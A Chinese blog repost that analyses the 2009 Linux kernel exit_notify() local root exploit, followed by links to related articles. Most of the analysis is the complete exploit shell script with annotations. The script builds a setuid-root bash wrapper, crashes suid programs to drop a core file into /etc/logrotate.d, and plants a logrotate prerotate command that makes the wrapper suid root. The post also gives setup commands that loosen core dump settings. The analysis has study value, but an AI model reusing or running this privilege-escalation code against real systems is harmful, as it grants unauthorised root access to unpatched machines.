[轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)
author : deep_pro
目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的
(http://forum.eviloctal.com/viewthread.php?tid=34942&pid=154634&page=1&extra=page%3D1#pid154634)
感谢乱雪给我提供了思路,解释了疑问
有问题的内核代码( http://lxr.linux.no/linux+v2.6.29/kernel/exit.c#L951)
if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
(tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
tsk->self_exec_id != tsk->parent_exec_id) &&
!capable(CAP_KILL))
tsk->exit_signal = SIGCHLD;
查看官方的补丁,就是把 capable(CAP_KILL)直接去掉了。
这个函数是判断当前要退出的进程是否有CAP_KILL权能(否能向不属于自己的进程发送信号)。
虽然这个要退出的进程是普通用户创建的,它也可以通过调用一个置有suidroot位的程序,从而临时设置euid=0,fsuid=0,就逃过了检查, capable(CAP_KILL)返回1,从而导致没有将该进程的task_struct的exit_signal置为SIGCHLD。
这个exploit的原理是使一个普通用户在/etc/logrotate.d/目录下生成一个特殊的core文件,然后等待 logrotate去读取这个不正常的core文件,执行里面的shell命令,给另一个程序/tmp/.m加上suidroot位。然后我们直接执行 /tmp/.m就可以得到一个root级的shell了。
exploit作者忽略了一点,就是当/proc/sys/kernel/core_uses_pid为1时,生成的core文件后缀是pid,所以测试exploit前应该首先使用root用户执行
echo "0" > /proc/sys/kernel/core_uses_pid
/sbin/sysctl -w fs.suid_dumpable=1
这两条命令然后就可以在/etc/logrotate.d/下得到core文件了。
exploit注释:
-------------------
#!/bin/sh
#检查/proc/sys/fs/suid_dumpable是否小于1,不小于1就不允许调用了setuid(0)的程序生成core文件
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
if [ -d /etc/logrotate.d ]; then
#检查是否安装有logrotate服务
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi
echo -e "Compiling the bash setuid() wrapper..."
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>
int main()
{
//setuid(0)用来恢复被置了suidroot位的程序的root权限,写shellcode时很常见的用法。
setuid(0);
//返回一个root级的shell
execl("/bin/bash","[kthreadd]",NULL);
}
EOF
#编译/tmp/.m.c
cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c
echo -e "Compiling the exploit code..."
cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
int child(void *data)
{
sleep(2);
printf("I'm gonna kill the suidroot father without having root rights :D\n");
//gpasswd被置有suidroot位,这样退出时就逃过了capable(CAP_KILL)检查
execl("/usr/bin/gpasswd","%s",NULL);
exit(0);
}
int main()
{
int stacksize = 4*getpagesize();
void *stack, *stacktop;
stack = malloc(stacksize);
stacktop = stack + stacksize;
chdir("/etc/logrotate.d");
//创建子进程
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
//chfn也被置有suidroot位,但是后面那个长长的字符串不是给chfn的,而是给logrotate准备的
//后面我会详细说明,毕竟这两条语句才是关键
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
}
EOF
cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c
echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000
touch /tmp/.a
//将/tmp/.ex的输出重定向,测试的话直接写/tmp/.ex就可以了
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex
//是否生成了core文件
if [ -e /etc/logrotate.d/core ]; then
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi
echo "The system is not vulnerable, sorry :("----------------------------------------
好了,再把关键地方重点说说,如有错误,还请见谅,已是我目前的最高水平了
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
创建的子进程会逃过CAP_KILL检查,但是只靠这一点错误不足以产生一个段错误从而得到core文件
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;
chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
chfn也被置有suidroot位,这里父进程也拥有了suidroot权限,等待用户输入密码,然后子进程不正常退出,
然后父进程就产生了一个段错误,两个进程都挂掉了。产生的core文件落在本来没有写权限的 /etc/logrotate.d/
文件夹下。我们来看看这个core文件:
很明显,那个传给chfn的奇怪参数其实是要写入core里的,随便打开/etc/logrotate.d/下的一个文件yum:
/var/log/yum.log {
missingok
notifempty
size 30k
create 0600 root root
}
这个奇怪参数就是为logrotate准备的,希望logrotate执行
chown root /tmp/.m;
chmod u+s /tmp/.m
且不说logrotate是否会从二进制core里执行这一段文本,就是SELinux也会阻止这一行为。
所以这个exploit几乎没有实战价值,这个洞虽然影响范围很广,但是危害不大。
我一直没有理解产生段错误的详细原因,还望高人指点。
[轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)的更多相关文章
- Linux kernel perf_swevent_init Local root Exploit
64位上编译 另外修改了原Exploit的一个错误 第76行 把 uint64_t *p = (void *) ¤t[i]; 改成 uint64_t *p = (void *) & ...
- linux kernel 卡在提示信息Waiting for root device /dev/mmcblk0p1...处
一.背景 1.1 移植linux-4.14内核的过程中,此时使用的是ext4文件系统,并且将根文件系统存储在sd卡的第一个分区上 1.2 内核打印完Waiting for root device /d ...
- Linux kernel workqueue机制分析
Linux kernel workqueue机制分析 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.10.108的workqueue文档分析其基 ...
- Linux kernel workqueue机制分析【转】
转自:http://www.linuxsir.org/linuxjcjs/15346.html 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.1 ...
- karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850
catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...
- CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC
/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://ha ...
- [轉]Exploit The Linux Kernel NULL Pointer Dereference
Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...
- [轉]Exploit Linux Kernel Slub Overflow
Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...
- Linux Kernel 排程機制介紹
http://loda.hala01.com/2011/12/linux-kernel-%E6%8E%92%E7%A8%8B%E6%A9%9F%E5%88%B6%E4%BB%8B%E7%B4%B9/ ...
随机推荐
- 多线程--ThreadLocal类
一.ThreadLocal类简介--此类是在整个开发过程中至关重要的类,他主要是在开发过程中解决了核心资源和多线程并发访问的处理情况--在真正去了解ThreadLocal类作用的时候,我们可以先编写一 ...
- Nacos-服务注册地址为内网IP的解决办法
最近在使用Spring Cloud Alibaba这一套微服务解决方案,但是在服务注册的时候,网关死活找不到微服务地址,自己的微服务通过网关怎么也访问不到. 查找原因 仔细一查才发现,网关去访问了一个 ...
- python打包生成exe文件
今天任务让做一个可以在Win上直接执行的脚本,百度了下原来可以生产.exe文件.神奇了 安装 pyInstaller pip install pyInstaller 进入要打包文件的目录 执行 py ...
- setserial - 取得/设置 Linux 串行口的信息
总览 setserial [ -abqvVWZ] 设备 [ 命令参数一 [ 设备变元参数 ] ] ... setserial -g [-abGv ] 设备一 ... 描述 setserial 是一个用 ...
- dell iDRAC7配置远程访问管理
一.启动Dell服务器,按F2 System Setup,打开BIOS界面,选择iDRAC Settings 二.在IDRAC Settings界面中选择Network 三.在Network界面中 E ...
- python socket的长连接和短连接
前言 socket中意为插座,属于进程间通信的一种方式.socket库隐藏了底层,让我们更好的专注于逻辑.如果短连接和长连接两概率没搞明白,会被坑的爬不起来. 短连接 一次完整的传输过程,发送方输出流 ...
- Java集合框架的基础接口有哪些?
Collection为集合层级的根接口.一个集合代表一组对象,这些对象即为它的元素.Java平台不提供这个接口任何直接的实现. Set是一个不能包含重复元素的集合.这个接口对数学集合抽象进行建模,被用 ...
- OAuth_3
端点: 授权断点.令牌断点.重定向端点 除了重定向端点在客户端应用上,其他在服务器端 授权端点: 资源拥有者所登录的授权服务器,并授权给客户端应用的端点 令牌端点: 授权服务器上为了一个访问令牌,客户 ...
- 通过cmd命令启动appium server,appium server安装过程
电脑上已安装了appium desktop版,想在移动端自动化的过程中,通过脚本启动appium server,环境准备: 1.确保电脑安装了node.js,目前用的是node12 2.安装JDK,且 ...
- OpenCV常用基本处理函数(1)读写
图像的基本操作 cv.imread() 读取图片 cv.imshow() 显示图片 cv2.imwrite() 保存图像 使用摄像头捕获实时图像 OpenCV 为这中应用提供了 ...